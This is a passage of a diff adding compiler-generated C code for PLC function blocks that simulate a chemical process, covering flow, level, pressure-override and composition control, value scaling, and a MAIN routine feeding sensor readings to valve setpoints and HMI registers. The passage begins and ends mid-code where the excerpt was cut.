__SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + 